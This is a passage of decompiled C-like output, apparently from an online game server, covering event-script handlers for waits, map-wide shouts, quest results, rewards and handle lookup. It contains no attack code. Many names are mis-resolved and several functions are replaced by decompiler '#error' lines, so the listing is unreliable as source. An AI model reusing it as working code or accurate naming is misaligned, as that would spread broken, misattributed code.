// 651310: using guessed type int (__stdcall *AxialListMobCounter___vftable_[3])(int, int, int distancesquar); //----- (004D3C50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShinePause::sa_Step(PineEventScriptNode::ShinePause *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShinePause *v4; // edi@1 bool v5; // zf@1 MobTacticElement::MobActionBase *v6; // eax@2 MobTacticElement::MobActionBase *v7; // eax@2 MobTacticElement::MobActionBase *v8; // eax@2 PineScriptToken *v9; // eax@2 PineEventScriptNode::ScriptAtomVtbl *v10; // edx@3 unsigned __int16 v11; // ax@4 unsigned __int16 v12; // si@4 unsigned int v13; // esi@5 int v14; // eax@5 int v15; // eax@5 PineEventScriptNode::ScriptAtomVtbl *v16; // eax@7 unsigned __int16 v17; // ax@9 unsigned int v18; // esi@10 int v19; // eax@10 PineEventScriptNode::ScriptAtomVtbl *v20; // edx@12 int v21; // eax@12 unsigned int v22; // esi@13 int v23; // eax@13 MobTacticElement::MobActionBase *v24; // eax@15 MobTacticElement::MobActionBase *v25; // eax@15 DiceTaiSaiDividind *v26; // ecx@15 PineEventScriptNode::ScriptAtomVtbl *v27; // edx@17 int v28; // eax@17 unsigned __int16 v29; // ax@18 unsigned int v30; // esi@19 int v31; // eax@19 MobTacticElement::MobActionBase *v32; // eax@19 MobTacticElement::MobActionBase *v33; // eax@19 const char *v35; // eax@23 MobTacticElement::MobActionBase *v36; // eax@23 MobTacticElement::MobActionBase *v37; // eax@23 MobTacticElement::MobActionArgument *v38; // [sp-Ch] [bp-43Ch]@5 MobTacticElement::MobActionArgument *v39; // [sp-8h] [bp-438h]@5 MobTacticElement::MobActionArgument *v40; // [sp-4h] [bp-434h]@5 PineEventScriptNode::ShinePause *v41; // [sp+10h] [bp-420h]@1 FunctionEntarance _; // [sp+14h] [bp-41Ch]@1 PineScriptToken second; // [sp+18h] [bp-418h]@3 PineScriptToken thisa; // [sp+118h] [bp-318h]@2 PineScriptToken tkn; // [sp+218h] [bp-218h]@2 char argument; // [sp+318h] [bp-118h]@17 unsigned int v47; // [sp+41Ch] [bp-14h]@1 int v48; // [sp+42Ch] [bp-4h]@1 int v49; // [sp+430h] [bp+0h]@1 v4 = this; v47 = (unsigned int)&v49 ^ __security_cookie; v41 = this; _.fe_FunctionCode = unk_653C24; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, unk_653C24); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = unk_653C24; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = *ip == 0; v48 = 0; if ( !v5 ) goto LABEL_21; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &::argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_63D200); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &unk_653C14); ++*ip; PineScriptToken::pst_Clear(&tkn); LOBYTE(v48) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); PineScriptToken::pst_ToLower(v9); memcpy(&thisa, &tkn, sizeof(thisa)); LOBYTE(v48) = 2; if ( PineScriptToken::operator__(&thisa, index_hour.pst_Buffer) ) { PineScriptToken::pst_Clear(&second); v10 = v41->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v48) = 3; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&second, ps) == 0 ) { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 0); v11 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v48) = 2; v12 = v11; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); LOBYTE(v48) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v48) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_26: --funcallanalizer.fca_stackpoint; v48 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653C24); return v12; } v13 = clockwatch.cw_CurrTick; v14 = PineScriptToken::pst_GetNumber(&second, 0); v40 = &trc_eol; v39 = (MobTacticElement::MobActionArgument *)" Hours"; v15 = v13 + 36000 * v14; v38 = (MobTacticElement::MobActionArgument *)&second; goto LABEL_14; } if ( PineScriptToken::operator__(&thisa, index_minute.pst_Buffer) ) { PineScriptToken::pst_Clear(&second); v16 = v41->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v48) = 4; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v16->sa_Calculate)(&second, ps) != 0 ) { v18 = clockwatch.cw_CurrTick; v19 = PineScriptToken::pst_GetNumber(&second, 0); v40 = &trc_eol; ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(v18 + 600 * v19); v39 = (MobTacticElement::MobActionArgument *)" Minute"; v38 = (MobTacticElement::MobActionArgument *)&second; LABEL_15: v24 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, v38); v25 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v24, v39); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v25, v40); v26 = (DiceTaiSaiDividind *)&second; LABEL_20: LOBYTE(v48) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(v26); LOBYTE(v48) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v48) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LABEL_21: if ( ps->ps_Shine.node >= (PineEventScriptNode::ScriptAtom *)clockwatch.cw_CurrTick ) { --funcallanalizer.fca_stackpoint; v48 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, unk_653C24); return 1; } v12 = PineScriptStack::ProcessStack::ps_Pop(ps); goto LABEL_26; } AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : no time", 1); LABEL_9: v17 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v48) = 2; v12 = v17; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&second); goto LABEL_24; } if ( PineScriptToken::operator__(&thisa, index_sec.pst_Buffer) ) { PineScriptToken::pst_Clear(&second); v20 = v41->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v48) = 5; v21 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v20->sa_Calculate)(&second, ps); if ( !AssertClass::operator__(&shineassert, v21 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 2) ) { v22 = clockwatch.cw_CurrTick; v23 = PineScriptToken::pst_GetNumber(&second, 0); v40 = &trc_eol; v39 = " Seconds"; v15 = v22 + 10 * v23; v38 = (MobTacticElement::MobActionArgument *)&second; LABEL_14: ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)v15; goto LABEL_15; } goto LABEL_9; } if ( PineScriptToken::operator__(&thisa, index_millisec.pst_Buffer) ) { PineScriptToken::pst_Clear((PineScriptToken *)&argument); v27 = v41->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v48) = 6; v28 = ((int (__stdcall *)(char *, PineScriptStack::ProcessStack *))v27->sa_Calculate)(&argument, ps); if ( !AssertClass::operator__(&shineassert, v28 != 0, "PineEventScriptNode::ShineWait::sa_Step : no time", 3) ) { v30 = clockwatch.cw_CurrTick; v31 = PineScriptToken::pst_GetNumber((PineScriptToken *)&argument, 0); ps->ps_Shine.node = (PineEventScriptNode::ScriptAtom *)(v30 + ((signed int)((unsigned __int64)(10 * v31 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(10 * v31 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31)); v32 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&argument); v33 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v32, " MilliSeconds"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v33, &trc_eol); v26 = (DiceTaiSaiDividind *)&argument; goto LABEL_20; } v29 = PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v48) = 2; v12 = v29; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&argument); } else { MoveManager::MoveManager((DiceTaiSai *)&tkn); AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineWait::sa_Step : Invalid flag", v35); v36 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "Error : "); v37 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v36, (MobTacticElement::MobActionArgument *)&tkn); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v37, &trc_eol); v12 = PineScriptStack::ProcessStack::ps_Pop(ps); } LABEL_24: LOBYTE(v48) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v48) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); v48 = -1; FunctionEntarance::_FunctionEntarance(&_); return v12; } //----- (004D41B0) -------------------------------------------------------- #error "4D41B0: undefined or illegal type '#593' (funcsize=128)" //----- (004D4390) -------------------------------------------------------- #error "4D4390: undefined or illegal type '#593' (funcsize=128)" //----- (004D4570) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineSomeoneShout::sa_Step(PineEventScriptNode::ShineSomeoneShout *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineSomeoneShout *v4; // esi@1 signed int v5; // edi@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 MobTacticElement::MobActionBase *v9; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v10; // eax@1 int v11; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v12; // eax@3 int v13; // eax@3 ShineScript *v14; // esi@5 char *v15; // eax@6 const char *v16; // eax@6 ShineScript *v17; // esi@6 const char *v18; // edi@6 char *v19; // eax@6 const char *v20; // eax@6 char *v21; // ecx@6 int v22; // edx@6 const void *v23; // esi@6 const char *v24; // ecx@6 char v25; // di@6 char v26; // al@7 unsigned __int8 v27; // cl@8 Movie::Theater *v28; // ecx@8 MobTacticElement::MobActionBase *v29; // eax@9 MobTacticElement::MobActionBase *v30; // eax@9 MobTacticElement::MobActionBase *v31; // eax@9 unsigned __int16 result; // ax@11 int v33; // [sp+10h] [bp-224h]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-220h]@8 FunctionEntarance _; // [sp+20h] [bp-214h]@1 PineScriptToken chatername; // [sp+24h] [bp-210h]@1 PineScriptToken chat; // [sp+124h] [bp-110h]@3 unsigned int v38; // [sp+224h] [bp-10h]@1 int v39; // [sp+230h] [bp-4h]@1 v4 = this; v38 = (unsigned int)&v33 ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineSomeoneShout::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineSomeoneShout::sa_Step"; v5 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v39 = 0; v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v7 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v6, (MobTacticElement::MobActionArgument *)exechandle); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &unk_63D200); v9 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, "ShineSomeoneShout"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v9, &trc_eol); PineScriptToken::pst_Clear(&chatername); v10 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v39) = 1; v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->sa_Calculate)(&chatername, ps); v33 = v11 != 0; if ( v11 != 0 ) { PineScriptToken::pst_Clear(&chat); v12 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v39) = 2; v13 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v12->sa_Calculate)(&chat, ps); v33 = v13 != 0; if ( v13 != 0 ) { v14 = *(ShineScript **)&ps->gap10114[28]; if ( v14 ) { MoveManager::MoveManager((DiceTaiSai *)&chatername); v16 = ShineScript::ss_String(v14, v15); v17 = *(ShineScript **)&ps->gap10114[28]; v18 = v16; MoveManager::MoveManager((DiceTaiSai *)&chat); v20 = ShineScript::ss_String(v17, v19); v21 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 8223; v22 = (int)(v21 + 2); v23 = v20; v21[18] &= 0xFCu; *(_DWORD *)(v21 + 2) = *(_DWORD *)v18; *(_DWORD *)(v21 + 6) = *((_DWORD *)v18 + 1); *(_DWORD *)(v21 + 10) = *((_DWORD *)v18 + 2); *(_DWORD *)(v21 + 14) = *((_DWORD *)v18 + 3); v24 = v20; v25 = (_BYTE)v20 + 1; do v26 = *v24++; while ( v26 ); v27 = (_BYTE)v24 - v25; *(_BYTE *)(v22 + 17) = v27; memcpy((void *)(v22 + 18), v23, v27); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, *(_BYTE *)(v22 + 17) + 20); v28 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v39) = 3; Movie::Theater::t_AllInMap(v28, &alchat.baseclass_0); LOBYTE(v39) = 2; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v5 = -1; } v29 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)&scrpttrcr, (MobTacticElement::MobActionArgument *)&chatername); v30 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v29, &stru_646F38); v31 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v30, (MobTacticElement::MobActionArgument *)&chat); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v31, &trc_eol); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null chat", 0); } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v39) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chat); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChat::sa_Step : Null body", 0); PineScriptStack::ProcessStack::ps_Pop(ps); } LOBYTE(v39) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&chatername); --funcallanalizer.fca_stackpoint; v39 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineSomeoneShout::sa_Step"); __security_check_cookie((unsigned int)&v33 ^ v38); return result; } //----- (004D4840) -------------------------------------------------------- #error "4D4840: undefined or illegal type '#593' (funcsize=189)" //----- (004D4B20) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineQuestResult::sa_Step(PineEventScriptNode::ShineQuestResult *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineQuestResult *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 PineScriptToken *v10; // eax@1 AxialListIteratorVtbl *v11; // edi@2 void *v12; // ecx@2 void *v13; // ecx@9 unsigned __int16 result; // ax@11 int v15; // [sp-8h] [bp-130h]@4 int v16; // [sp-4h] [bp-12Ch]@2 AxialListKQEnd alps; // [sp+8h] [bp-120h]@1 FunctionEntarance _; // [sp+14h] [bp-114h]@1 PineScriptToken tkn; // [sp+18h] [bp-110h]@1 unsigned int v20; // [sp+118h] [bp-10h]@1 int v21; // [sp+124h] [bp-4h]@1 v4 = this; v20 = (unsigned int)&alps ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineQuestResult::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineQuestResult::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineQuestResult"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); LOBYTE(v21) = 1; v9 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &tkn, ps); v10 = PineScriptToken::pst_ToLower(v9); if ( PineScriptToken::operator__(v10, index_suc.pst_Buffer) ) { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 18); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v21) = 2; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } else { AxialListProtocolSend::AxialListProtocolSend(&alps.baseclass_0, 22, 19); v11 = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; alps.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEnd::_vftable_; v12 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v21) = 3; v16 = 0; if ( !v12 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_9; } v15 = (int)&alps; } ShineObjectClass::ShineObject::so_AllInMap(v12, v15, v16); LABEL_9: LOBYTE(v21) = 1; alps.baseclass_0.baseclass_0.vfptr = v11; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); v13 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v13 ) FieldMap::fm_ClearObject(v13, 0x1B0u); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineQuestResult::sa_Step"); __security_check_cookie((unsigned int)&alps ^ v20); return result; } // 652E38: using guessed type int (__thiscall *AxialListKQEnd___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (004D4D50) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineReward::sa_Step(PineEventScriptNode::ShineReward *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineReward *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineEventScriptNode::Identify *v9; // edi@1 PineScriptToken *v10; // eax@1 PineScriptToken *v11; // eax@1 int v12; // eax@2 unsigned int v13; // eax@3 void *v14; // ecx@7 PineScriptToken *v15; // eax@11 PineScriptToken *v16; // eax@11 Movie::Theater *v17; // ecx@12 _BYTE v18[12]; // ST08_12@14 void *v19; // ecx@14 unsigned __int16 result; // ax@18 AxialListMIDReward almidr; // [sp+Ch] [bp-128h]@1 FunctionEntarance _; // [sp+14h] [bp-120h]@1 char sMapName[4]; // [sp+18h] [bp-11Ch]@7 __int64 v24; // [sp+1Ch] [bp-118h]@12 PineScriptToken tkn; // [sp+24h] [bp-110h]@1 unsigned int v26; // [sp+124h] [bp-10h]@1 int v27; // [sp+130h] [bp-4h]@1 v4 = this; v26 = (unsigned int)&almidr ^ __security_cookie; _.fe_FunctionCode = "PineEventScriptNode::ShineReward::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineReward::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineReward"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); PineScriptToken::pst_Clear(&tkn); v9 = &v4->baseclass_0.os_Ident; LOBYTE(v27) = 1; v10 = PineEventScriptNode::Identify::i_GetToken(v9, &tkn, ps); v11 = PineScriptToken::pst_ToLower(v10); if ( PineScriptToken::operator__(v11, index_kq.pst_Buffer) ) { v12 = *(_DWORD *)(*(_DWORD *)&ps->gap10114[4] + 77288); if ( v12 ) v13 = *(_DWORD *)(v12 + 60); else v13 = -1; if ( v13 != -1 ) { AxialListKQReward::AxialListKQReward((AxialListKQReward *)sMapName, v13); v14 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v27) = 2; if ( v14 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v14, (int)sMapName, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v27) = 1; *(_DWORD *)sMapName = AxialListKQReward::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)sMapName); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineEventReward::sa_Step : No KQ info", 0); } } v15 = PineEventScriptNode::Identify::i_GetToken(v9, &tkn, ps); v16 = PineScriptToken::pst_ToLower(v15); if ( PineScriptToken::operator__(v16, index_rewardmid.pst_Buffer) ) { v17 = *(Movie::Theater **)&ps->gap10114[4]; v24 = 0i64; *(_DWORD *)sMapName = 0; if ( Movie::Theater::t_MapNameClient(v17, (Name3 *)sMapName) ) { *(_DWORD *)v18 = *(_DWORD *)sMapName; *(_QWORD *)&v18[4] = v24; AxialListMIDReward::AxialListMIDReward(&almidr, *(Name3 *)v18); v19 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77292); LOBYTE(v27) = 3; if ( v19 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v19, (int)&almidr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v27) = 1; almidr.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMIDReward::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almidr); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineReward::sa_Step : Not map name", 0); } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v27) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineReward::sa_Step"); __security_check_cookie((unsigned int)&almidr ^ v26); return result; } // 652E30: using guessed type int (__stdcall *AxialListKQReward___vftable_[2])(int, int, int distancesquar); // 652E34: using guessed type int (__stdcall *AxialListMIDReward___vftable_)(int, int, int distancesquar); //----- (004D5010) -------------------------------------------------------- #error "4D5010: undefined or illegal type '#593' (funcsize=203)" //----- (004D5350) -------------------------------------------------------- #error "4D5350: undefined or illegal type '#593' (funcsize=282)" //----- (004D57E0) -------------------------------------------------------- #error "4D57E0: undefined or illegal type '#593' (funcsize=290)" //----- (004D5C50) -------------------------------------------------------- #error "4D5C50: undefined or illegal type '#593' (funcsize=123)" //----- (004D5E20) -------------------------------------------------------- #error "4D5E20: undefined or illegal type '#593' (funcsize=36)" //----- (004D5ED0) -------------------------------------------------------- #error "4D5ED0: undefined or illegal type '#593' (funcsize=180)" //----- (004D6180) -------------------------------------------------------- #error "4D6180: undefined or illegal type '#593' (funcsize=112)" //----- (004D6330) -------------------------------------------------------- #error "4D6330: undefined or illegal type '#593' (funcsize=183)" //----- (004D65E0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineFindHandle::sa_Step(PineEventScriptNode::ShineFindHandle *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineFindHandle *v4; // esi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 MobTacticElement::MobActionBase *v8; // eax@1 PineScriptToken *v9; // eax@1 unsigned __int16 v10; // si@2 PineEventScriptNode::ScriptAtomVtbl *v11; // edx@3 unsigned __int16 v12; // ax@4 int v13; // edi@6 unsigned __int16 v14; // si@6 const char *v15; // eax@7 unsigned int v16; // eax@7 PineEventScriptNode::ScriptAtomVtbl *v17; // edx@9 int v18; // eax@11 Movie::Theater *v19; // ecx@11 int v20; // ST10_4@11 PineScriptToken *v21; // eax@11 unsigned __int16 v22; // ax@11 PineScriptToken *variable; // [sp+14h] [bp-338h]@1 PineEventScriptNode::ShineFindHandle *v25; // [sp+18h] [bp-334h]@1 int almf; // [sp+1Ch] [bp-330h]@11 unsigned __int16 v27; // [sp+22h] [bp-32Ah]@11 FunctionEntarance _; // [sp+30h] [bp-31Ch]@1 PineScriptToken mobname; // [sp+34h] [bp-318h]@3 PineScriptToken tkn; // [sp+134h] [bp-218h]@9 PineScriptToken smobname; // [sp+234h] [bp-118h]@5 unsigned int v32; // [sp+338h] [bp-14h]@1 int v33; // [sp+348h] [bp-4h]@1 int v34; // [sp+34Ch] [bp+0h]@1 v4 = this; v32 = (unsigned int)&v34 ^ __security_cookie; v25 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineFindHandle::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineFindHandle::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineFindHandle::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v33 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, &argument); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &unk_63D200); v8 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineFindHandle"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v8, &trc_eol); v9 = PineEventScriptNode::Identify::i_GetVariable(&v4->baseclass_0.os_Ident, ps); variable = v9; if ( v9 != 0 ) { PineScriptToken::pst_Clear(&mobname); v11 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v33) = 1; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v11->sa_Calculate)(&mobname, ps) != 0 ) { memcpy(&smobname, &mobname, sizeof(smobname)); LOBYTE(v33) = 2; PineScriptToken::pst_ToLower(&smobname); if ( PineScriptToken::operator__(&smobname, 